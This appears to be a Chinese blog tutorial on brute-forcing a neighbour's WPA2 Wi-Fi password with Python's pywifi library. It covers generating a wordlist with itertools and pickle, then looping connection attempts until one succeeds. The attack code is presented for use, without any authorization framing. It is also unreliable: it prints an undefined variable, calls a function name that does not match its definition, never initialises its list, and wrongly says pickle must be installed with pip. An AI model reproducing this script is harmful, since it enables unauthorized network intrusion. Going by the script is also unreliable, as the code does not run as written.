破解Wi-Fi – Python
2021.12.30
需要的模块为: pywifi
, pickle
安装方式:
pip install pywifi
pip install pickle
**注意:**电脑应该装配无线网卡。一般笔记本本身就内置无线网卡,有些台式机可能需要插一个无线网卡。目前的pywifi
仅支持Linux、Windows系统,暂不支持MacOs系统。
Step 1
创建一个无线对象,获取无线网卡的信息。
import pywifi
wifi_info=pywifi.PyWiFi()
#获取无线网卡信息
ifaces=wifi_info.interfaces()[0]
print(ifaces,"\n","WI-FI name",ifaces.name())
它输出的是一个对象,以及WI_FI
的名字。
Step 2
判断是否连接WI-FI,需要用到pywifi
的常量库
from pywifi import const
在这个常量库中,存在接口是否连接所对应的常量,以及其他可能用到的常量,如下所示:
#!/usr/bin/env python3
# vim: set fileencoding=utf-8
"""Constants used in pywifi library define here."""
# Define interface status.
IFACE_DISCONNECTED = 0
IFACE_SCANNING = 1
IFACE_INACTIVE = 2
IFACE_CONNECTING = 3
IFACE_CONNECTED = 4
# Define auth algorithms.
AUTH_ALG_OPEN = 0
AUTH_ALG_SHARED = 1
# Define auth key mgmt types.
AKM_TYPE_NONE = 0
AKM_TYPE_WPA = 1
AKM_TYPE_WPAPSK = 2
AKM_TYPE_WPA2 = 3
AKM_TYPE_WPA2PSK = 4
AKM_TYPE_UNKNOWN = 5
# Define ciphers.
CIPHER_TYPE_NONE = 0
CIPHER_TYPE_WEP = 1
CIPHER_TYPE_TKIP = 2
CIPHER_TYPE_CCMP = 3
CIPHER_TYPE_UNKNOWN = 4
KEY_TYPE_NETWORKKEY = 0
KEY_TYPE_PASSPHRASE = 1
Step 3
创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的状态,查看wifi的加密类型,wifi加密类型目前有四种认证方式: WPA、WPA-PSK、WPA2、WPA2-PSK 。一般采用的是为WPA2-PSK,检查加密单元。代码如下:
profile=pywifi.Profile()
#要连接WI-FI的名称
profile.ssid="jiayi"
#检查网卡的是否开放
profile.auth=const.AUTH_ALG_OPEN
#WI-FI加密类型,一般wifi加密算法为WPA2-PSK
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
Step 4
删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0。
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(0.1)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
Step 5
创建密码本
一个好的密码本是破解的关键。对于WI-FI密码,一般由数字
、字母
和符号
组成。
可以用Python生成一个简单的密码本。暴力破解的思路是穷举法。可以用itertools
模块来创建,itertools
是python内置的模块,无需再安装。存储密码本不建议用ascii
格式,读取速度较慢且麻烦。可以选择用pickle
模块生成序列化后的数据,pickle
需要自行安装(pip install pickle)。数据格式为列表:[密码1",“2”:“密码2”],这样存储和读取效率更高。当然也可不存储,直接迭代生成密码,然后直接尝试连接。本文中至介绍生成密码本的方法。
import pickle
import itertools as its
words = "abcdefghijklmnopqrstuvwxyz123456789!@#$%&*^+-"
## repeat 为密码的位数, 即 repeat = 4
passwd = its.product(words,repeat=6)
for i in passwd:
str = ''
data.append(str.join(i))
with open ("PassWord.data", 'wb') as f: #打开文件
pickle.dump(data, f) #存成二进制序列、方便读取
print("密码本已生成")
注意:利用此程序生成的密码本文件会很大,可以适当修改words
中的字符个数以及密码的位数(repeat 参数)比如只保留几个字母和数字。如果对WI- FI密码有大致的了解,可以根据了解的信息生成密码本文件。
Step 6
开始破解。以下是完整的破解代码。注意:密码本文件需要在上一步已经生成。
import time
import pickle
import pywifi
from pywifi import const
#测试连接, 返回连接Wi-Fi结果
def wifiConnect(passwd):
#抓取网卡接口
wifi=pywifi.PyWiFi()
#获取第首个无线网卡
ifaces=wifi.interfaces()[0]
#断开所有的Wi-Fi连接
ifaces.disconnect()
time.sleep(1)
wifistat = ifaces.status()
if wifistat == const.IFACE_DISCONNECTED:
#创建WiFi连接文件
profile = pywifi.Profile()
#要连接WiFi的名称
profile.ssid = "zhangsan"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
#调用密码
profile.key = passwd
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(0.1)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("wifi已连接,请核对WI-FI名称")
#读取密码本
def readPasswd():
print("开始破解...")
with open("PassWord.data",'rb') as f:
data = pickle.load(f)
while True:
try:
#一行一行读取
for i in range(len(data)):
passwd = data[i]
bool = wifiConnect(passwd)
if bool:
print("密码已破解: ",pad)
print("WiFi已成功连接!!!")
break
else:
#跳出当前循环,进行下一次循环
print("密码破解中....密码校对: ",pad)
except:
continue
readPassword()
Ending…